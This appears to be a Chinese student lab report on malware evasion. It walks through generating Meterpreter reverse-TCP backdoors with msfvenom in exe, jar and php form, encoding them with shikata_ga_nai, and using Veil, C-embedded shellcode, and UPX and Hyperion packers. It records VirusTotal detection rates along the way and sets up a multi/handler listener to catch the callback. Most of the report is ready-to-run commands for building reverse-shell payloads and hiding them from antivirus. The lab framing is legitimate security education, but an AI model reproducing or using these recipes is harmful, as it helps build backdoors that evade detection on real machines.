一、实验目标
1.运用代码变形技术实施恶意代码变形,具体包括使用 Msfvenom、Veil 等工具生成变形后的恶意代码,以及借助加壳工具对恶意代码进行加壳处理,以此规避杀软的检测。
2.利用 Shellcode,并结合不同的编程平台(如 C、C++、Python 等)的编译方式来开发后门程序,实现后门程序的免杀效果,同时通过实际的杀毒软件对免杀效果进行查杀验证。
二、实验内容
1.熟练掌握并正确使用各类免杀工具及技巧
正确使用 msf 编码器:通过 msfvenom 工具生成不同类型的文件(如 jar 文件、exe 文件、php 文件等),并利用其中的编码器对生成的恶意代码进行多次编码处理,尝试绕过杀软检测。
运用 Veil 工具:使用 Veil 中的 veil-evasion 模块生成免杀效果较好的恶意代码,该工具会对原始恶意代码进行混淆、加密等处理,降低被杀软识别的概率。
使用加壳工具:选取合适的加壳工具(如 UPX、Themida 等)对已生成的恶意程序进行加壳操作,加壳后的程序会对原始代码进行压缩和加密,使杀软难以直接分析其内部逻辑。
采用 C 语言结合 Shellcode 编程:手动将 Shellcode 嵌入到 C 语言代码中,通过对 Shellcode 进行简单的加密(如异或加密)后再在程序运行时解密执行,随后使用 C 语言编译器(如 GCC、Visual Studio 等)编译生成可执行文件,以此实现免杀。
2.组合应用多种技术实现恶意代码免杀对上述多种免杀技术进行组合使用(例如:先使用 msfvenom 生成带有编码器的 Shellcode,再将其嵌入 C 语言代码并进行加密处理,编译生成程序后使用加壳工具加壳,最后通过 Veil 工具进一步处理)。若成功实现免杀,需用简洁的语言描述免杀原理(如多种技术组合后,对恶意代码的特征进行了多重隐藏和混淆,使杀软无法匹配到已知的恶意代码特征库)。对于与杀软共生的结果验证,需提供截图以展示恶意程序在杀软运行状态下未被查杀的情况。
3.跨设备实测验证在另一台电脑上进行实际测试,确保该电脑上的杀毒软件处于开启状态。运行经过免杀处理的恶意程序,验证其是否能够成功回连到控制端。测试完成后,需详细注明测试电脑所安装的杀毒软件名称及具体版本号,以明确免杀效果在该杀软环境下的有效性。
三.实验过程
利用指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.131 PORT=2413 -f exe > DH20232413.exe直接生成meterpreter可执行文件。

3.1.1将该文件上传至 VirusTotal 平台进行检测,结果显示检出率为 57/70,以此作为后续免杀技术效果对比的基准。

3.1.2 合理运用 msf 编码器,借助 msfvenom 生成 jar 等类型文件。
生成 exe 文件及编码后的 exe 文件
使用命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f exe > DH20232413_2.exe生成可执行文件。

检测后发现检出率为 58/72,与未编码前相比基本没有变化。

再通过命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f exe > 10DH20232413_2.exe进行 10 次编码,-i 10表示编码次数为 10 次。

检测得出的检出率为 57/71,同样没有明显变化。这说明这类文件生成及编码模板的特征码基本已被纳入特征库中。
3.1.3生成 jar 文件及编码后的 jar 文件
利用命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 x>20232413.jar生成 jar 文件,其中x>可借助输出文件的后缀名来隐式指定文件类型。

检出率为39/64

再用命令msfvenom -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.48.131 LPORT=2413 x>10*20232413.jar生成一份经过 10 次编码的 jar 文件。

检出率为39/64,由此可见 jar 文件更不容易被识别。

3.1.4生成 php 文件及编码后的 php 文件
使用命令msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 x> DH20232413.php生成 php 文件。

通过命令msfvenom -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.48.131 LPORT=2413 x> 10.DH20232413.php生成一份经过 10 次编码的 php 文件。

检测得到的检出率分别为25/62和8/62,表明 php 文件也难以被识别,并且 php 的编码具有较好的免杀效果。
3.2运用 veil 免杀工具
3.2.1下载veil免杀工具
使用命令sudo apt -y install veil,通过 apt 来下载 veil。
再执行命令usr/share/veil/config/setup.sh --force --silent,利用 veil 自带的 shell 脚本配置环境。
下载并配置后在命令行输入veil,可得到以下界面

3.2.2使用veil
输入use 1进入Evasion

输入list查看可用载荷类型

输入use 7进行配置

输入以下信息
set LHOST 192.168.48.131
set LPORT 2413
generate

之后会提示生成的具体内容以及生成后文件的存放位置。进入提示的目录,能够看到已生成好的文件。

对该文件进行检出率测试,结果为 37/72,具有一定的免杀效果。

3.3采用 C + shellcode 编程
3.3.1使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.48.131 LPORT=2413 -f c,通过 msfvenom 工具生成 C 语言源代码格式的有效载荷。

利用生成的 shellcode 编写一个 c 文件。

通过命令i686-w64-mingw32-g++ shellcode_c_20232413.c -o shellcode_c_20232413.exe进行编译,得到 exe 文件。
对该文件进行检出率测试,结果为34/71,具有一定的免杀效果。

3.3.2使用压缩壳 UPX
使用命令upx shellcode_c_20232413.exe -o shellcode_c_upx_20232413.exe,给shellcode_c_20232413.exe 添加一个压缩壳。

测试检出率,结果为36/71,反而有所上升,这说明该壳的特征已被广泛记录。

3.3.3使用加密壳 Hyperion
使用如下命令:
cp shellcode_c_20232413.exe /usr/share/windows-resources/hyperion/
cd /usr/share/windows-resources/hyperion
wine hyperion.exe -v shellcode_c_20232413.exe shellcode_c_hyp_20232413.exe
生成加密文件

检出率为51/72,同样有所上升,表明该壳的特征也已被广泛记录。

3.4综合运用多种技术实现恶意代码免杀
先生成.c文件并编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.48.131 LPORT=2413 -f c > dh20232413_shellcode.c
再添加main函数并使用 MinGW-w64 编译该源文件:
i686-w64-mingw32-g++ dh20232413_shellcode.c -o dh20232413_shellcode.exe
添加压缩壳
upx dh20232413_shellcode.exe -o dh20232413_shellcode_upx.exe
使用 hyperion 添加一层加密壳:
wine hyperion.exe -v dh20232413_shellcode_upx.exe dh20232413_shellcode_upx_hyp.exe

检测结果为51/71

用主机杀软扫描,未发现

3.5进行杀软回连尝试
在kali终端输入以下命令:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.48.131
set LPORT 2413
exploit

然后运行主机上的后门文件,发现被拦截

四.问题及解决
Hyperion 加密壳执行报错问题